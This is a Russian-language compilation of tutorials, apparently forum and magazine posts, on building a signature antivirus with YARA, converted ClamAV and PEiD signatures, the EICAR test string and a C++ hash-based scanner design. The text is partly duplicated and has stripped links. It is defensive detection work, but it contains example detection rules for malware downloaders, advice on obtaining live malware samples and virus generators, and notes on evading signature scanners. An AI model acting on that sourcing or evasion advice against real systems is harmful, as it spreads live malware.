Среди плюшек можно отметить, что у каждого вируса имеется MD5,SHA-1,SHA-256 хэшы, IP-адресса.(Это нам поможет при написание Yara-правил).

Следующий сервис для скачивания и исследования вирусов это

После всего этого мы можем классифицировать примеры вредоносных программ, используя только инструмент Yara, и нам больше не нужно сканировать их с помощью правил ClamAV и PEiD. Это потому что Yara уже содержит правила из ClamAV и PEiD, которые используются в процессе сканирования, что очень удобно так как у нас имеется довольно большая база сигнатур для поиска «зловреда».

Создав свой антивирус, а создавать мы будем используя базу Yara-правил. Мы можем автоматически классифицировать вредоносные программы, правда пока только с помощью правил. Это очень полезно, когда нам быстро необходимо просканировать образец вредоносного ПО определенной категории.
Также думаю я добавлю функционал заливки файла на

для точного обнаружения.

Именно на основе Yara правил мы и будем создавать свой сигнатурный AV.

YARA GUI для Windows.
Как я и обещал, для тех кому не нравиться возиться с установкой yara либо с правилами и еще хочется работать в GUI режиме + под платформой Windows можно воспользоватся YARA GUI.
Скачать можно отсюда:

1548231957280.png

Демонстрация.
И так теперь проверим и посмотрим как протестировать файл(папку).
Для тестирование папки мы должны выполнить следующую команду: yara -r <Yara-правило> <Сканируемая папка>
В моем случае я тестирую уязвимый дамп памяти:

1548232351504.png

Как видно помимо различной информации вредоносный дамп был успешно обнаружен как Empire ReflectivePick x64.

Еще пару сканирований:

1548232573490.png

Чтобы убрать лишнюю информацию нужно использовать атрибут -w

1548232656913.png

Теперь рассмотрим как ищет «зловреда» Yara GUI версия для Windows.

1548234414646.png

1548234580256.png

1548667087427.png

Подводим итог.
В этой статье мы рассмотрели, как мы можем использовать продукт Yara с использованием ClamAV, PEiD правил для поиска вредоносных сигнатур в файлах.
Вышеупомянутый подход основан только на проверке сигнатуру(блока информации), что означает, что нетрудно обмануть Yara (с загруженными правилами ClamAV и PEiD).

Честно сказать, данный продукт может обнаруживать только известные вредоносные программы. Но если мы напишем нашу собственный вирус или закодируем его с помощью нашего собственного кодировщика, он, вероятно, не будет обнаружен, поскольку в Yara не загружены соответствующие сигнатуры. Этот пункт касается и нашего будущего антивируса.

Тем не менее, использование Yara для обнаружения вредоносной активности в файлах по-прежнему выгодно, поскольку большинство вредоносных программ в Интернете представляют собой стандартные вредоносные файлы и не содержат дополнительной маскировки, поэтому большинство вредоносных файлов можно обнаружить.

Сигнатурные дела: Анализатор файлов и антивирус — своими руками

Начальство поставило мне довольно интересную задачу. В сжатые сроки написать анализатор исполняемых файлов, который по сигнатурам умел бы находить тела вирусов и определять используемый упаковщик/криптор. Готовый прототип появился уже через пару часов.

Слово автора

Сразу хочу сказать, что это статья не про суровый реверсинг. И даже не про анализ малвари. Скорее я хотел бы поделиться опытом, как огромное количество открытых разработок позволяет быстро, буквально на коленке собрать прототипы систем, которые на начальных этапах вполне смогут справляться с поставленной задачей. Такого прототипа вполне может быть достаточно, чтобы оценить состоятельность разработки и понять, нужно ли двигаться в этом направлении вообще. Разработать прототип сигнатурного анализатора, который бы работал онлайн и мог быть дополнен новыми сигнатурами через веб-интерфейс, и стало моей задачей.
Сначала предлагалось найти какие-то открытые базы сигнатур малвари, что оказалось довольно просто. Но обо всем по порядку.

Сигнатурный анализ

Поиск вредоносного объекта по сигнатурам — это то, что умеет любой антивирус. В общем случае сигнатура — это формализованное описание некоторых признаков, по которым можно определить, что сканируемый файл — это вирус и вирус вполне определенный.

Тут есть различные методики. Как вариант — использовать сигнатуру, составленную из N байт вредоносного объекта. При этом можно сделать не тупое сравнение, а сравнение по некоторой маске (типа искать байты EB ?? ?? CD 13). Или задавать дополнительные условия вроде «такие-то байты должны находиться у точки входа в программу» и так далее. Сигнатура именно малвари — это частность.

Точно так же описываются некоторые признаки, по которым можно определить, что исполняемый файл упакован тем или иным криптором или упаковщиком (например, банальным ASPack). Если ты внимательно читаешь наш журнал, то точно слышал о такой тулзе как PEiD, способной определять наиболее часто используемые упаковщики, крипторы и компиляторы (в базе есть большое количество сигнатур) для переданного ей PE-файла. Увы, новые версии программы давно не выходят, а недавно на официальном сайте и вовсе появилось сообщение, что дальнейшего развития у проекта не будет. Жаль, потому что возможности PEiD (особенно учитывая систему плагинов) вполне могли оказаться мне полезными. После недолгого анализа все-таки стало ясно, что это не вариант. Но покопавшись в англоязычных блогах, я быстро нашел то, что мне подошло. Проект YARA (code.google.com/p/yara-project).

Что такое YARA?

Я был с самого начала убежден, что где-то в Сети уже есть открытые разработки, которая бы взяли на себя задачу определения соответствия между некоторой сигнатурой и исследуемым файлом. Если бы я смог найти такой проект, то его легко можно было бы поставить на рельсы веб-приложения, добавить туда разных сигнатур и получить то, что от меня требовалось. План стал казаться еще более реальным, когда я прочитал описание проекта YARA.

Сами разработчики позиционируют его как инструмент для помощи исследователям малвари в идентификации и классификации вредоносных семплов. Исследователь может создать описания для разного типа зловредов, используя текстовые или бинарные паттерны, в которых описываются формализованные признаки малвари. Таким образом получаются сигнатуры. По сути, каждое описание состоит из набора строк и некоторого логического выражения, на основе которого определяется логика срабатывания анализатора.

Если для исследуемого файла выполняются условия одного из правил, он определяется соответствующим образом (к примеру, червь такой-то). Простой пример правила, чтобы понимать, о чем идет речь:

rule silent_banker : banker
meta:
description = «This is just an example»
thread_level = 3
in_the_wild = true
strings:
$a =
$b =
$c = «UVODFRYSIHLNWPEJXQZAKCBGMT»
condition:
$a or $b or $c
>

В этом правиле мы говорим YARA, что любой файл, который содержит хотя бы одну из строк-семплов, описанных в переменных $a, $b, $c, должен классифицироваться как троян silent_banker. И это очень простое правило. На деле рулесы могут быть гораздо сложнее (мы об этом поговорим ниже).
Об авторитете проекта YARA говорит уже даже список проектов, которые его используют, а это:

  • VirusTotal Malware Intelligence Services (vt-mis.com);
  • jsunpack-n (jsunpack.jeek.org);
  • We Watch Your Website (wewatchyourwebsite.com).

Весь код написан на Python, причем пользователю предлагается как сам модуль для использования в своих разработках, так и просто исполняемый файл, чтобы юзать YARA как самостоятельное приложение. В рамках своей работы я выбрал первый вариант, но для простоты в статье мы будем использовать анализатор просто как консольное приложение.

Немного покопавшись, я довольно быстро разобрался, как писать для YARA правила, а также как прикрутить к нему сигнатуры вирусов от бесплатного авера и упаковщиков от PEiD. Но начнем мы с установки.

Установка

Как я уже сказал, проект написан на Python’е, поэтому легко может быть установлен и на Linux, и на Windows, и на Mac. На первых порах можно просто взять бинарник. Если вызвать приложение в консоли, то получим правила для запуска.

$ yara
usage: yara [OPTION]. [RULEFILE]. FILE | PID

То есть формат вызова программы следующий: сначала идет имя программы, затем список опций, после чего указывается файл с правилами, а в самом конце — имя исследуемого файла (или каталога, содержащего файлы), либо идентификатор процесса. Сейчас бы по-хорошему объяснить, как эти самые правила составляются, но не хочу сразу грузить тебя сухой теорией. Поэтому мы поступим по-другому и позаимствуем чужие сигнатуры, чтобы YARA мог выполнять одну из поставленных нами задач — полноценное определение вирусов по сигнатурам.

Свой антивирус

Самый главный вопрос: где взять базу сигнатур известных вирусов? Антивирусные компании активно делятся такими базами между собой (кто-то более щедро, кто-то — менее). Если честно, я поначалу даже сомневался, что где-то в Сети кто-то открыто выкладывает подобные вещи. Но, как оказалось, есть добрые люди. Подходящая база из популярного антивируса ClamAV доступна всем желающим (clamav.net/lang/en). В разделе «Latest Stable Release» можно найти ссылку на последнюю версию антивирусного продукта, а также ссылки для скачивания вирусных баз ClamAV. Нас прежде всего будут интересовать файлы main.cvd (db.local.clamav.net/main.cvd) и daily.cvd (db.local.clamav.net/daily.cvd).

Первый содержит основную базу сигнатур, второй — самую полную на данный момент базу с различными дополнениями. Для поставленной цели вполне хватит daily.cvd, в котором собрано более 100 000 слепков малвари. Однако база ClamAV — это не база YARA, так что нам необходимо преобразовать ее в нужный формат. Но как? Ведь мы пока ничего не знаем ни о формате ClamAV, ни о формате Yara. Об этой проблеме уже позаботились до нас, подготовив небольшой скриптик, конвертирующий базу вирусных сигнатур ClamAV в набор правил YARA. Сценарий называется clamav_to_ yara.py и написан Мэтью Ричардом (bit.ly/ij5HVs). Скачиваем скрипт и конвертируем базы:

$ python clamav_to_yara.py -f daily.cvd -o clamav.yara

В результате в файле clamav.yara мы получим сигнатурную базу, которая сразу будет готова к использованию. Попробуем теперь комбинацию YARA и базы от ClamAV в действии. Сканирование папки с использованием сигнатуры выполняется одной единственной командой:

$ yara -r clamav.yara /pentest/msf3/data

Опция -r указывает, что сканирование необходимо проводить рекурсивно по всем подпапкам текущей папки. Если в папке /pentest/msf3/data были какие-то тела вирусов (по крайней мере тех, что есть в базе ClamAV), то YARA немедленно об этом сообщит. В принципе, это уже готовый сигнатурный сканер. Для большего удобства я написал простой скрипт, который проверял обновления базы у ClamAV, закачивал новые сигнатуры и преобразовывал их в формат YARA. Но это уже детали. Одна часть задачи выполнена, теперь можно приступать к составлению правил для определения упаковщиков/крипторов. Но для этого пришлось немного с ними разобраться.

Игра по правилам

Итак, правило — это основной механизм программы, позволяющий отнести заданный файл к какой-либо категории. Правила описываются в отдельном файле (или файлах) и по своему виду очень напоминают конструкцию struct из языка С/С++.

rule BadBoy
strings:
$a = «win.exe»
$b = «http://foo.com/badfi le1.exe»
$c = «http://bar.com/badfi le2.exe»
condition:
$a and ($b or $c)
>

В принципе, ничего сложного в написании правил нет. В рамках этой статьи я коснулся лишь основных моментов, а детали ты найдешь в мануле. Пока же десять самых важных пунктов:

1. Каждое правило начинается с ключевого слова rule, после которого идет идентификатор правила. Идентификаторы могут иметь такие же имена, как и переменные в C/С++, то есть состоять из букв и цифр, причем первый символ не может быть цифрой. Максимальная длина имени идентификатора — 128 символов.

2. Обычно правила состоят из двух секций: секция определений (strings) и секция условия (condition). В секции strings задаются данные, на основе которых в секции condition будет приниматься решение, удовлетворяет ли заданный файл определенным условиям.

3.Каждая строка в разделе strings имеет свой идентификатор, который начинается со знака $ — в общем, как объявление переменной в php. YARA поддерживает обычные строки, заключенные в двойные кавычки (« ») и шестнадцатеричные строки, заключенные в фигурные скобки (), а также регулярные выражения:

$my_text_string = «text here»
$my_hex_string =

4.В секции condition содержится вся логика правила. Эта секция должна содержать логическое выражение, определяющее, в каком случае файл или процесс удовлетворяет правилу. Обычно в этой секции идет обращение к ранее объявленным строкам. А идентификатор строки рассматривается в качестве логической переменной, которая возвращает true, если строка была найдена в файле или памяти процесса, и false в противном случае. Вышеуказанное правило определяет, что файлы и процессы, содержащие строку win.exe и один из двух URL, должны быть отнесены к категории BadBoy (по имени правила).

5. Шестнадцатеричные строки позволяют использовать три конструкции, которые делают их более гибкими: подстановки (wildcards), диапазоны (jumps) и альтернативный выбор (alternatives). Подстановки — это места в строке, которые неизвестны, и на их месте может быть любое значение. Обозначаются они символом «?»:

Такой подход очень удобен при задании строк, длина которых известна, а содержимое может меняться. Если же часть строки может быть разной длины, удобно использовать диапазоны:

Данная запись означает, что в средине строки может быть от 4 до 6 различных байт. Можно реализовать также и альтернативный выбор:

Это означает, что на месте третьего байта может быть 62 В4 или 56, такой записи соответствуют строки F42362B445 или F4235645.

6. Чтобы проверить, что заданная строка находится по определенному смещению в файле или адресном пространстве процесса, используется оператор at:

$a at 100 and $b at 200

Если строка может находиться внутри определенного диапазона адресов, используется оператор in:

$a in (0..100) and $b in (100..fi lesize)

Иногда возникают ситуации, когда необходимо указать, что файл должен содержать определенное число из заданного набора. Делается это с помощью оператора of:

rule OfExample1
strings:
$foo1 = «dummy1»
$foo2 = «dummy2»
$foo3 = «dummy3»
condition:
2 of ($foo1,$foo2,$foo3)
>

Приведенное правило требует, чтобы файл содержал любые две строки из множества ($foo1,$foo2,$foo3). Вместо указания конкретного числа строк в файле можно использовать переменные any (хотя бы одна строка из заданного множества) и all (все строки из заданного множества).

7. Ну и последняя интересная возможность, которую надо рассмотреть — применение одного условия ко многим строкам. Эта возможность очень похожа на оператор of, только более мощная — это оператор for..of:

for expression of string_set : ( boolean_expression )

Данную запись надо читать так: из строк, заданных в string_ set, по крайней мере expression штук должно удовлетворять условию boolean_expression. Или, другими словами: выражение boolean_expression вычисляется для каждой строки из string_set, и expression из них должны возвратить значение True. Далее мы рассмотрим эту конструкцию на конкретном примере.

Делаем PEiD

Итак, когда с правилами все стало более менее ясно, можно приступать к реализации в нашем проекте детектора упаковщиков и крипторов. В качестве исходного материала на первых порах я позаимствовал сигнатуры известных упаковщиков у все того же PEiD. В папке plugins находится файл userdb.txt, который и содержит то, что нам нужно. В моей базе оказалось 1850 сигнатур.

Немало, так что для того, чтобы полностью импортировать их, советую написать какой-нибудь скриптик. Формат этой базы прост — используется обычный текстовый файл, в котором хранятся записи вида:

[Name of the Packer v1.0]
signature = 50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3
ep_only = true

Первая строка задает имя упаковщика, которое будет отображаться в PEiD, для нас же это будет идентификатор правила. Вторая — непосредственно сама сигнатура. Третья — флаг ep_only, указывающий, искать ли данную строку только по адресу точки входа, или же по всему файлу.

Ну что, попробуем создать правило, скажем, для ASPack? Как оказалось, в этом нет ничего сложного. Сначала создадим файл для хранения правил и назовем его, например, packers.yara. Затем ищем в базе PEiD все сигнатуры, в названии которых фигурирует ASPack, и переносим их в правило:

У всех найденных записей флаг ep_only установлен в true, то есть эти строки должны располагаться по адресу точки входа. Поэтому мы пишем следующее условие: «for any of them : ($ at entrypoint)».

Таким образом, наличие хоть одной из заданных строк по адресу точки входа будет означать, что файл упакован ASPack’ом. Обрати также внимание, что в данном правиле все строки заданы просто с помощью знака $, без идентификатора. Это возможно, так как в condition-секции мы не обращаемся к каким-то конкретным из них, а используем весь набор.

Чтобы проверить работоспособность полученной системы, достаточно выполнить в консоли команду:

$ yara -r packers.yara somefi le.exe

Скормив туда пару приложений, упакованных ASPack’ом, я убедился, что все работает!

Готовый прототип

YARA оказался на редкость понятным и прозрачным инструментом. Мне не составило большого труда написать для него вебадминку и наладить работу в качестве веб-сервиса. Немного креатива, и сухие результаты анализатора уже раскрашиваются разными цветами, обозначая степень опасности найденного зловреда. Небольшое обновление базы, и для многих из крипторов доступно краткое описание, а иногда даже и инструкция по распаковке. Прототип создан и работает отменно, а начальство пляшет от восторга!

Пишем свою антивирусную утилиту. Часть 1 — Подготовка

Скажите, а не хотелось бы вам написать свой собственный антивирус? Если да, то это статья для вас.

Компьютерные вирусы – бич современного айти общества. Еще с далекого 1983 года, когда Оуен продемонстрировал широкой публике вредоносный код, который прозвали вирусом, стало ясно, что компьютерные системы весьма уязвимы. С тех пор прошло почти 30 лет, за которые компьютерные вирусы постоянно эволюционировали. Нет смысла писать о том, сколько вреда нанесли эти вредоносные программы (малварь или зловред на компьютерном лексиконе) экономике. В СМИ то и дело появляется об этом очередная заметка.

Что же такое компьютерный вирус в широком смысле этого термина? Зловредом принят считать код, так или иначе вредящей нормальной работе компьютера. Наверняка вы и сами неоднократно сталкивались с подхваченным вирусом. Нормальный вирус должен уметь заражать обычные файлы, размножаться, иметь полиморфную структуру (чтобы его не детектили антивирусы) и т.д. К компьютерным вирусам также относят троянцев, червей и различные вредоносные скрипты. Также к ним в какой то мере можно отнести и руткиты, но это не совсем верно. Просто сам руткит даже по своему названию подразумевает уже не вирусную природу, хотя они и очень опасны, особенно для систем, пользователи которых пренебрегают обновлением (всегда обновляйте свою систему в целях повышения безопасности!).

Можно написать о структуре PE-файла или ELF, показать, как вирус заражает систему, но в рамках данной статьи это будет лишним. Возможно, что я коснусь более углубленно данной темы в других статьях.

Естественно, что для противоборства вирусам смекалистыми программистами были разработаты антивирусные системы. Например, Евгений Касперский, разработчик знаменитого антивируса Касперского, начинал с безобидного хобби по собиранию этих вирусов и их программной нейтрализации. Как видите, это хобби принесло ему в последствии славу и сотни миллионов долларов состояния. Заманчиво, не так ли?

К сожалению, на рынке антивирусных систем рядовому программисту делать нечего. Конкуренция здесь очень большая. Я даже не сомневаюсь, что в ближайшем будущем многие такие компании просто разорятся в силу падения спроса на свою продукцию. Вспомните пресловутый антивирус AVZ от Олега Зайцева – сейчас Олег работает в структуре лаборатории Касперского, хотя начинал как инди -разработчик. Это пример того, как даже самому распрекрасному антивирусному продукту заказан вход в большую игру под названием бизнес.

Написать отличную антивирусную систему довольно-таки трудно. Такая система должна уметь делать эвристический анализ файла, иметь мощный сканер и работать с базой, в которой она будет хранить сигнатуры вирусов, также нужен будет собственный драйвер для слежения за состоянием системы. Это только минимум. Но мы будем отталкиваться от этого.

Мы напишем с вами сканер зловредов, которые являются относительно постоянными по своей структуре (не буду загружать вас умными словами, можете почитать о них в моей книге). В качестве языка разработки я буду использовать C++, как наиболее быстрый и умеющий работать на низком уровне. Как вариант, можно использовать Делфи, однако учтите, что программа будет сильно уступать в скорости сишной.

Учите, что я буду использовать также классы из MFC, так что вам понадобиться полноценная Visual Studio, а на VC++ Express.

Наш сканер будет использовать хэш файла для сравнения с базой данных. Так сканер может выявить червей и троянов. Вроде бы негусто, однако этот сканер можно будет наращивать дополнительным функционалом.

Не будем пока заморачиваться окошками и прочей ерундой – нам важна сама программа, поэтому сканер будет иметь консольный вид.

Итак, прежде чем приступить к кодированию, давайте пройдемся по небольшому ТЗ, что должен уметь делать наш сканер. А он должен выполнять:

  • хэширование файлов и проверку хэша со списком в базе данных. Чтобы не городить огород, будем использовать MD5.
  • Как нормальный антивирус, наш сканер должен просканировать все загруженные процессы в памяти (малварь то сразу же загружается в оперативную память) и при обнаружении зловреда нейтрализовать его.
  • Как бы не наивно звучало, но наш сканер должен определять тип операционной системы, на которой запущен. Дело в том, что он должен сканировать еще и системный реестр, а в разных версиях Windows пути будут разными.
  • Собственно, сканирование веток реестра Start Menu Programs Startup и HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun. Эти ветки отвечают за автозапуск различных программ, а малварь, это, прежде всего, программа. Не стоит забывать и о сканировании папки автозагрузки.
  • Наш сканер будет сканировать относительно небольшие файлы (до 50 МВ), но мы всегда сможем расширить это ограничение. Кроме того, сканер будет пропускать те файлы, которые априори невозможно заразить – это txt, rtf и некоторые им подобные. Тем не менее, не стоит забывать и о том, что вирусы часто внедряются посредством джойнеров, поэтому нужно учесть различные сигнатуры.
  • Сканер должен просканировать весь жесткий диск (а в перспективе и все съемные диски) в поисках малвари и удалить ее.

Вот таков наш план. Как видите, наш простой сканер будет выполнять много того, что положено сканеру антивирусника. Тем не менее, не стоит забывать, что сейчас практически все вирусы криптуются и упаковываются различными пакерами или протекторами. Это сделано для того, чтобы антивирусная система не смогла проанализировать сигнатуру Pe файла. Однако наш сканер пока не умеет этого делать. Но ведь мы же будем его улучшать, не так ли?

Думаю, что план работы вам ясен. Пока приготовьте все нужные инструменты для работы – это Visual Studio 2008/2010 или 2012 (у меня просто лицензионная 2008 студия, я буду писать в ней) , установите себе виртуальную машину (Virtual Box, Virtual PC 2007 – бесплатные или VMWare Workstation –платная, но можно вполне легально использовать ее бесплатно), на которую нужно будет установить какую-нибудь тестовую Windows (можно и XP). Кроме того, нам понадобятся вирусы, которые мы будем истреблять. Для этого нужно будет найти какой-нибудь вирген, который нужно будет запускать на виртуальной машине. На этих вирусах мы и будем тестить нашу простую антивирусную систему. Пока на этом все. В следующей части мы приступим к разработке кода.

Всем доброго времени суток уважаемые участники форума. В этот раз мы напишем свой сигнатурный антивирус(Название можете предложить в комментариях). Возможно также добавиться какой-то функционал. Теперь перейдем к теме, а именно к 1-й части — «Небольшой экскурс в YARA».

Что будет и чего ожидать.
Как говорилось ранее, наша задача написать сигнатурный антивирус. Сам процесс будет описан в 3-й части.

  • В первой части мы разберем Yara проект. Разберем как установить инструмент, как получить yara-правила, найдем угрозы.
  • Во второй части научимся сами писать yara-правила.
  • В третьей части напишем антивирус.

Введение.
Мы все знаем, что гораздо интереснее взламывать что-то, чем строить защиту от атак, вирусов и прочей нечисти. Но иногда стоит встать на другую сторону. Сегодня мы встанем на путь, в котором будем обнаруживать вредоносное ПО.

Что такое YARA?
Yara — это инструмент, который помогает нам идентифицировать и классифицировать образцы вредоносных программ с помощью правил. Мы можем использовать Yara для классификации файлов или запуска процессов, чтобы определить, к какому семейству относятся вредоносные программы.

Также YARA является мультиплатформенным инструментом, работает на всех популярных ОС и может использоваться через интерфейс командной строки или из ваших собственных скриптов Python с расширением yara-python. Также можно использовать GUI(Рассмотрим далее).

Установка.
Чтобы установить Yara, сначала нужно выполнить следующую команду:
apt install yara

1548226897972.png

После этого мы можем использовать Yara, выполнив команду yara, которая по умолчанию отобразит справку по использованию, как показано ниже:

Код:

$ yara
usage:  yara [OPTION]... [RULEFILE]... FILE | PID
options:
  -t <tag>                  print rules tagged as <tag> and ignore the rest. Can be used more than once.
  -i <identifier>           print rules named <identifier> and ignore the rest. Can be used more than once.
  -n                        print only not satisfied rules (negate).
  -g                        print tags.
  -m                        print metadata.
  -s                        print matching strings.
  -l <number>               abort scanning after a <number> of rules matched.
  -d <identifier>=<value>   define external variable.
  -r                        recursively search directories.
  -f                        fast matching mode.
  -v                        show version information.

Мы видим, что для запуска Yara нам нужно предоставить набор правил (RULEFILE), которые мы хотим применить, и путь к файлу (FILE) или pid (PID) процесса, который мы хотим сканировать.

Подготовка правил для тестов.
Правила ClamAV:

Теперь нам нужно получить файл правил, чтобы использовать Yara. В следующей части мы сами напишем файл с правилами, но сейчас будем использовать правила ClamAV. Единственная проблема с правилами ClamAV состоит в том, что мы не можем использовать их непосредственно с Yara, потому что Yara имеет свой собственный способ их описания(свой синтаксис).

Именно здесь вступает в игру скрипт clamav_to_yara.py.

Для этого нам нужно клонировать SVN-репозиторий, который включает скрипт python clamav_to_yara.py.
Ссылка на репозиторий mattulm/volgui

Команда для клонирования:

  • wget https://raw.githubusercontent.com/mattulm/volgui/master/tools/clamav_to_yara.py

1548230722465.png

Следующим шагом будет выполнение следующей команды:

  • python clamav_to_yara.py.

1548230619774.png

Далее нам нужно скачать основные правила подписи ClamAV:

  • wget http://database.clamav.net/main.cvd
  • sigtool --unpack main.cvd

1548230935363.png

1548230985274.png

Чтобы преобразовать сигнатуры ClamAV в форму Yara, нам нужно запустить скрипт:

  • python clamav_to_yara.py -f main.ndb -o test.yara

Теперь мы можем сканировать каталог с помощью Yara и новые правила с помощью команды ниже:

  • yara -r test.yara /myfolder_for_test

Правила PEiD
Мы также можем легко преобразовать правила PEiD в правила Yara и использовать их, чтобы проверить, какой упаковщик/кодировщик использовался для компиляции вредоносного исполняемого файла.

Правила PEiD можно скачать с сайта:

Ссылка скрыта от гостей

Чтобы преобразовать правила PEiD в правила Yara, мы можем просто использовать Python скрипт peid_to_yara.py, который также можно загрузить с jvoisin/yara_rules

1548230802973.png

Затем мы выполняем преобразование, выполнив следующую команду: python peid_to_yara.py -f userdb.txt -o peid.yara
После завершения команды подписи Yara будут содержаться в выходном файле peid.yara.

Тестовый вирус — EICAR
Теперь нам нужен какой-либо вирус для наших тестов, но если у вас нет желания тестировать реальные вирусы, которые также могут принести вред вашему ПК при тесте, вы можете сами создать тестовый вирус, но он будет совершенно безобидным.

EICAR вирус — это небольшой кусок текста, суть которого заключается в том, что все современные AV его обнаруживают.
Мы будем его также тестировать в “полевых условиях”, например, для проверки нашего AV(Если конечно статья вам зайдет).

1548233263971.png

Но в этой статье мы проверим обнаруживают ли его инструмент Yara.

Теперь давайте сотворим этот “псевдо-вирус”
Для этого создайте файл и вставьте следующий текст: X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*.
После этого вам необходимо сохранить файл под любым расширением(exe, com, bat, asm…)

Где взять реальные вирусы.

Если вам тестовый вирус EICAR чем-то не устраивает, то можно воспользоваться базой для скачивания реальных вирусов.
Для этих целей можно воспользоваться сервисом —

Ссылка скрыта от гостей

Среди плюшек можно отметить, что у каждого вируса имеется MD5,SHA-1,SHA-256 хэшы, IP-адресса.(Это нам поможет при написание Yara-правил).

Следующий сервис для скачивания и исследования вирусов это

Ссылка скрыта от гостей

Почитать про остальные сервисы можно тут:

Ссылка скрыта от гостей

После всего этого мы можем классифицировать примеры вредоносных программ, используя только инструмент Yara, и нам больше не нужно сканировать их с помощью правил ClamAV и PEiD. Это потому что Yara уже содержит правила из ClamAV и PEiD, которые используются в процессе сканирования, что очень удобно так как у нас имеется довольно большая база сигнатур для поиска «зловреда».

Создав свой антивирус, а создавать мы будем используя базу Yara-правил. Мы можем автоматически классифицировать вредоносные программы, правда пока только с помощью правил. Это очень полезно, когда нам быстро необходимо просканировать образец вредоносного ПО определенной категории.
Также думаю я добавлю функционал заливки файла на

Ссылка скрыта от гостей

для точного обнаружения.

Именно на основе Yara правил мы и будем создавать свой сигнатурный AV.

YARA GUI для Windows.
Как я и обещал, для тех кому не нравиться возиться с установкой yara либо с правилами и еще хочется работать в GUI режиме + под платформой Windows можно воспользоватся YARA GUI.
Скачать можно отсюда:

Ссылка скрыта от гостей

1548231957280.png

Демонстрация.
И так теперь проверим и посмотрим как протестировать файл(папку).
Для тестирование папки мы должны выполнить следующую команду: yara -r <Yara-правило> <Сканируемая папка>
В моем случае я тестирую уязвимый дамп памяти:

1548232351504.png

Как видно помимо различной информации вредоносный дамп был успешно обнаружен как Empire ReflectivePick x64.

Еще пару сканирований:

1548232573490.png

Чтобы убрать лишнюю информацию нужно использовать атрибут -w

1548232656913.png

Теперь рассмотрим как ищет «зловреда» Yara GUI версия для Windows.

1548234414646.png

1548234580256.png

1548667087427.png

Подводим итог.
В этой статье мы рассмотрели, как мы можем использовать продукт Yara с использованием ClamAV, PEiD правил для поиска вредоносных сигнатур в файлах.
Вышеупомянутый подход основан только на проверке сигнатуру(блока информации), что означает, что нетрудно обмануть Yara (с загруженными правилами ClamAV и PEiD).

Честно сказать, данный продукт может обнаруживать только известные вредоносные программы. Но если мы напишем нашу собственный вирус или закодируем его с помощью нашего собственного кодировщика, он, вероятно, не будет обнаружен, поскольку в Yara не загружены соответствующие сигнатуры. Этот пункт касается и нашего будущего антивируса.

Тем не менее, использование Yara для обнаружения вредоносной активности в файлах по-прежнему выгодно, поскольку большинство вредоносных программ в Интернете представляют собой стандартные вредоносные файлы и не содержат дополнительной маскировки, поэтому большинство вредоносных файлов можно обнаружить.

На этом 1-я часть пожалуй завершена)). Всем спасибо.

Пишем свой антивирус на C++

Coding-не забудь подписаться

В силу простоты алгоритма проверки наш сканер сможет обнаруживать только вредоносные программы, распространяющиеся цельным файлом, т.е. не заражающие другие файлы, как PE-Вирусы, и не изменяющие свое тело в процессе деятельности, как полиморфные вирусы.

Впрочем, это относится к большинству вирусов, червей и практически ко всем троянам, поэтому написанный нами сканер имеет право на жизнь :)

Что такое сигнатура

Сигнатура в простом представлении является уникальной частью (последовательностью байт) в файле.

Однако эта часть должна максимально однозначно выделять файл среди множества других файлов.

Это значит, что выбранная последовательность должна присутствовать только одном файле, которому она принадлежит, и ни в каких других.

На практике помимо самой последовательности применяются ещё дополнительные параметры, позволяющие максимально однозначно сопоставлять сигнатуру файлу.

Введение дополнительных параметров также направлено на ускорение поиска сигнатуры в файле.

Такими параметрами, например, могут являться размер файла, смещение последовательности байт, тип файла, специальные маски (отражение того, как примерно должен выглядеть файл, чтобы в нём могла содержаться искомая сигнатура) и многие другие.

В нашем сканере в качестве дополнительного параметра мы будем использовать смещение последовательности в файле относительно начала.

Данный метод довольно универсален в том плане, что подходит абсолютно для любых файлов независимо от типа.

Однако у использования смещения есть один очень значимый минус: чтобы «обмануть» сканер, достаточно слегка «передвинуть» последовательность байт в файле, т.е. изменить смещение последовательности (например, перекомпилировав вирус или добавив символ в случае скрипт-вируса).

Для экономии памяти и повышения скорости обнаружения, на практике обычно используется контрольная сумма (хэш) последовательности.

Таким образом перед добавлением сигнатуры в базу считается контрольная сумма выбранного участка файла. Это также помогает не обнаруживать вредоносный код в собственных базах :)

Антивирусная база

Антивирусная база представляет собой один или несколько файлов, содержащих записи о всех известных сканеру вирусах.

Каждая запись обязательно содержит имя вируса (пользователь же должен знать,что за зверь поселился у него в системе), также в записи обязательно присутствует сигнатура, по которой выполняется поиск.

Помимо имени и сигнатуры, запись может содержать некоторую дополнительную информацию, например инструкции по лечению.

Алгоритм работы сканера

Алгоритм работы сканера, использующего сигнатуры, можно свести к нескольким пунктам:

1. Загрузка базы сигнатур

2. Открытие проверяемого файла

3. Поиск сигнатуры в открытом файле

4. Если сигнатура найдена 

— принятие соответствующих мер

5. Если ни одна сигнатура из базы не найдена

— закрытие файла и переход к проверке следующего

Как видите, общий принцип работы сканера весьма прост.

Впрочем, достаточно теории. Переходим к практике.

Все дополнительные моменты будут разобраны в процессе написания сканера.

Подготовка к реализации

Прежде чем начинать писать код, стоит определить все составные части сканера и то, как они будут взаимодействовать.

Итак, для обнаружения вредоносных файлов нам необходим непосредственно сам сканер.

Сканеру для работы необходимы сигнатуры, которые хранятся в антивирусной базе.

База создается и наполняется специальной программой.

В итоге получается следующая зависимость:

Программа создания базы -> База -> Сканер

Однако прежде чем создавать базу, необходимо определиться с её форматом, который в свою очередь зависит от хранимой информации.

Информация сигнатуры

Сигнатура будет состоять из:

— Смещения последовательности в файле

— Размера последовательности

— Хэша последовательности

Для хэширования будем использовать алгоритм MD5.

Каждый MD5-хэш состоит из 16 байт, или 4 двойных слов.

Для хранения смещения и размера последовательности отведём по 4 байта для каждого.

Таким образом сигнатуру можно описать следующей структурой:

[Offset * 4 ]

[Lenght * 4 ]

[Hash * 16 ]

Запись антивирусной базы

Запись будет содержать:

— Сигнатуру

— Размер имени файла

— Имя файла

Под размер имени файла выделим 1 байт. Этого больше чем достаточно, плюс экономия места =)

Имя файла может быть произвольного размера до 255 символов включительно.

Получается следующая структура:

[Signature]

[NameLen * 1 ]

[Name … ]

После раскрытия структуры сигнатуры получается вот такая запись:

[Offset * 4 ]

[Lenght * 4 ]

[Hash * 16]

[NameLen * 1 ]

[Name … ]

